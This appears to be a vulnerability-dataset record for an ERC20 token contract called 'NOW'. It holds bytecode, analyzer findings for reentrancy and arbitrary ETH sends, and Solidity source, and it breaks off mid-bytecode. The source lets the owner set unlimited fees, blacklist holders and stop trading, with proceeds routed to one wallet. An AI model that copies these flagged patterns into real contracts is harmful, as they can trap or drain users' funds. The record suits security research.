00000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561207357600080fd5b505afa158015612087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ab9190612a68565b816001815181106120e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061214c30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611312565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121b0959493929190613173565b600060405180830381600087803b1580156121ca57600080fd5b505af11580156121de573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156122145760009050612276565b600082846122229190613315565b905082848261223191906132e4565b14612271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612268906130b8565b60405180910390fd5b809150505b92915050565b60006122be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b806122d4576122d3612381565b5b6122df8484846123c4565b806122ed576122ec61258f565b5b50505050565b60008060006123006125a3565b91509150612317818361227c90919063ffffffff16565b9250505090565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c9190612fd6565b60405180910390fd5b506000838561237491906132e4565b9050809150509392505050565b6000600a5414801561239557506000600b54145b1561239f576123c2565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806123d687612605565b95509550955095509550955061243486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124c985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251581612715565b61251f84836127d2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161257c9190613158565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506125d9683635c9adc5dea0000060085461227c90919063ffffffff16565b8210156125f857600854683635c9adc5dea00000935093505050612601565b81819350935050505b9091565b60008060008060008060008060006126228a600a54600b5461280c565b92509250925060006126326122f3565b905060008060006126458e8787876128a2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3a565b905092915050565b60008082846126c6919061328e565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290613058565b60405180910390fd5b8091505092915050565b600061271f6122f3565b90506000612736828461220190919063ffffffff16565b905061278a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e78260085461266d90919063ffffffff16565b600881905550612802816009546126b790919063ffffffff16565b6009819055505050565b600080600080612838606461282a888a61220190919063ffffffff16565b61227c90919063ffffffff16565b905060006128626064612854888b61220190919063ffffffff16565b61227c90919063ffffffff16565b9050600061288b8261287d858c61266d90919063ffffffff16565b61266d90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128bb858961220190919063ffffffff16565b905060006128d2868961220190919063ffffffff16565b905060006128e9878961220190919063ffffffff16565b9050600061291282612904858761266d90919063ffffffff16565b61266d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061293e6129398461320d565b6131e8565b9050808382526020820190508285602086028201111561295d57600080fd5b60005b8581101561298d57816129738882612997565b845260208401935060208301925050600181019050612960565b5050509392505050565b6000813590506129a681613822565b92915050565b6000815190506129bb81613822565b92915050565b600082601f8301126129d257600080fd5b81356129e284826020860161292b565b91505092915050565b6000813590506129fa81613839565b92915050565b600081519050612a0f81613839565b92915050565b600081359050612a2481613850565b92915050565b600081519050612a3981613850565b92915050565b600060208284031215612a5157600080fd5b6000612a5f84828501612997565b91505092915050565b600060208284031215612a7a57600080fd5b6000612a88848285016129ac565b91505092915050565b60008060408385031215612aa457600080fd5b6000612ab285828601612997565b9250506020612ac385828601612997565b9150509250929050565b600080600060608486031215612ae257600080fd5b6000612af086828701612997565b9350506020612b0186828701612997565b9250506040612b1286828701612a15565b9150509250925092565b60008060408385031215612b2f57600080fd5b6000612b3d85828601612997565b9250506020612b4e85828601612a15565b9150509250929050565b600060208284031215612b6a57600080fd5b600082013567ffffffffffffffff811115612b8457600080fd5b612b90848285016129c1565b91505092915050565b600060208284031215612bab57600080fd5b6000612bb9848285016129eb565b91505092915050565b600060208284031215612bd457600080fd5b6000612be284828501612a00565b91505092915050565b600060208284031215612bfd57600080fd5b6000612c0b84828501612a15565b91505092915050565b600080600060608486031215612c2957600080fd5b6000612c3786828701612a2a565b9350506020612c4886828701612a2a565b9250506040612c5986828701612a2a565b9150509250925092565b6000612c6f8383612c7b565b60208301905092915050565b612c84816133a3565b82525050565b612c93816133a3565b82525050565b6000612ca482613249565b612cae818561326c565b9350612cb983613239565b8060005b83811015612cea578151612cd18882612c63565b9750612cdc8361325f565b925050600181019050612cbd565b5085935050505092915050565b612d00816133b5565b82525050565b612d0f816133f8565b82525050565b6000612d2082613254565b612d2a818561327d565b9350612d3a81856020860161340a565b612d4381613544565b840191505092915050565b6000612d5b60238361327d565b9150612d6682613555565b604082019050919050565b6000612d7e602a8361327d565b9150612d89826135a4565b604082019050919050565b6000612da160228361327d565b9150612dac826135f3565b604082019050919050565b6000612dc4601b8361327d565b9150612dcf82613642565b602082019050919050565b6000612de7601d8361327d565b9150612df28261366b565b602082019050919050565b6000612e0a60088361327d565b9150612e1582613694565b602082019050919050565b6000612e2d60218361327d565b9150612e38826136bd565b604082019050919050565b6000612e5060208361327d565b9150612e5b8261370c565b602082019050919050565b6000612e7360298361327d565b9150612e7e82613735565b604082019050919050565b6000612e9660258361327d565b9150612ea182613784565b604082019050919050565b6000612eb960248361327d565b9150612ec4826137d3565b604082019050919050565b612ed8816133e1565b82525050565b612ee7816133eb565b82525050565b6000602082019050612f026000830184612c8a565b92915050565b6000604082019050612f1d6000830185612c8a565b612f2a6020830184612c8a565b9392505050565b6000604082019050612f466000830185612c8a565b612f536020830184612ecf565b9392505050565b600060c082019050612f6f6000830189612c8a565b612f7c6020830188612ecf565b612f896040830187612d06565b612f966060830186612d06565b612fa36080830185612c8a565b612fb060a0830184612ecf565b979650505050505050565b6000602082019050612fd06000830184612cf7565b92915050565b60006020820190508181036000830152612ff08184612d15565b905092915050565b6000602082019050818103600083015261301181612d4e565b9050919050565b6000602082019050818103600083015261303181612d71565b9050919050565b6000602082019050818103600083015261305181612d94565b9050919050565b6000602082019050818103600083015261307181612db7565b9050919050565b6000602082019050818103600083015261309181612dda565b9050919050565b600060208201905081810360008301526130b181612dfd565b9050919050565b600060208201905081810360008301526130d181612e20565b9050919050565b600060208201905081810360008301526130f181612e43565b9050919050565b6000602082019050818103600083015261311181612e66565b9050919050565b6000602082019050818103600083015261313181612e89565b9050919050565b6000602082019050818103600083015261315181612eac565b9050919050565b600060208201905061316d6000830184612ecf565b92915050565b600060a0820190506131886000830188612ecf565b6131956020830187612d06565b81810360408301526131a78186612c99565b90506131b66060830185612c8a565b6131c36080830184612ecf565b9695505050505050565b60006020820190506131e26000830184612ede565b92915050565b60006131f2613203565b90506131fe828261343d565b919050565b6000604051905090565b600067ffffffffffffffff82111561322857613227613515565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613299826133e1565b91506132a4836133e1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132d9576132d86134b7565b5b828201905092915050565b60006132ef826133e1565b91506132fa836133e1565b92508261330a576133096134e6565b5b828204905092915050565b6000613320826133e1565b915061332b836133e1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613364576133636134b7565b5b828202905092915050565b600061337a826133e1565b9150613385836133e1565b925082821015613398576133976134b7565b5b828203905092915050565b60006133ae826133c1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613403826133e1565b9050919050565b60005b8381101561342857808201518184015260208101905061340d565b83811115613437576000848401525b50505050565b61344682613544565b810181811067ffffffffffffffff8211171561346557613464613515565b5b80604052505050565b6000613479826133e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ac576134ab6134b7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f436f6f6c646f776e000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61382b816133a3565b811461383657600080fd5b50565b613842816133b5565b811461384d57600080fd5b50565b613859816133e1565b811461386457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b33dc152adff504b35cf7dc1e805a4ed8a96fbe6203442ffb8ffb8b174904be964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,622
0xa269f31ab269e2d84310bb0f2109901f2ed5850f
/** NOW TG: https://t.me/NOWTokenPortal Website: http://nowtoken.xyz/ */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NOW is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NOW"; string private constant _symbol = "NOW"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 24; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7cc8CF13f2e376e90392C20597D44F0178B725a2); address payable private _marketingAddress = payable(0x7cc8CF13f2e376e90392C20597D44F0178B725a2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 60000 * 10**9; //.6% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612ea1565b6106cc565b005b34801561020657600080fd5b5061020f6107f6565b60405161021c91906132fe565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e01565b610833565b60405161025991906132c8565b60405180910390f35b34801561026e57600080fd5b50610277610851565b60405161028491906132e3565b60405180910390f35b34801561029957600080fd5b506102a2610877565b6040516102af91906134e0565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612dae565b610886565b6040516102ec91906132c8565b60405180910390f35b34801561030157600080fd5b5061030a61095f565b60405161031791906134e0565b60405180910390f35b34801561032c57600080fd5b50610335610965565b6040516103429190613555565b60405180910390f35b34801561035757600080fd5b5061036061096e565b60405161036d91906132ad565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d14565b610994565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612eea565b610a84565b005b3480156103d457600080fd5b506103dd610b36565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612d14565b610c07565b60405161041391906134e0565b60405180910390f35b34801561042857600080fd5b50610431610c58565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f17565b610dab565b005b34801561046857600080fd5b50610471610e4a565b60405161047e91906134e0565b60405180910390f35b34801561049357600080fd5b5061049c610e50565b6040516104a991906132ad565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612eea565b610e79565b005b3480156104e757600080fd5b506104f0610f2b565b6040516104fd91906134e0565b60405180910390f35b34801561051257600080fd5b5061051b610f31565b60405161052891906132fe565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f17565b610f6e565b005b34801561056657600080fd5b50610581600480360381019061057c9190612f44565b61100d565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e01565b6110c4565b6040516105b791906132c8565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612d14565b6110e2565b6040516105f491906132c8565b60405180910390f35b34801561060957600080fd5b50610612611102565b005b34801561062057600080fd5b5061063b60048036038101906106369190612e41565b6111db565b005b34801561064957600080fd5b50610664600480360381019061065f9190612d6e565b611315565b60405161067191906134e0565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f17565b61139c565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612d14565b61143b565b005b6106d46115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890613440565b60405180910390fd5b60005b81518110156107f257600160106000848481518110610786576107856138d3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ea9061382c565b915050610764565b5050565b60606040518060400160405280600381526020017f4e4f570000000000000000000000000000000000000000000000000000000000815250905090565b60006108476108406115fd565b8484611605565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108938484846117d0565b6109548461089f6115fd565b61094f85604051806060016040528060288152602001613d8160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109056115fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120559092919063ffffffff16565b611605565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61099c6115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090613440565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a8c6115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1090613440565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b776115fd565b73ffffffffffffffffffffffffffffffffffffffff161480610bed5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd56115fd565b73ffffffffffffffffffffffffffffffffffffffff16145b610bf657600080fd5b6000479050610c04816120b9565b50565b6000610c51600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b4565b9050919050565b610c606115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce490613440565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610db36115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790613440565b60405180910390fd5b8060168190555050565b60165481565b600080600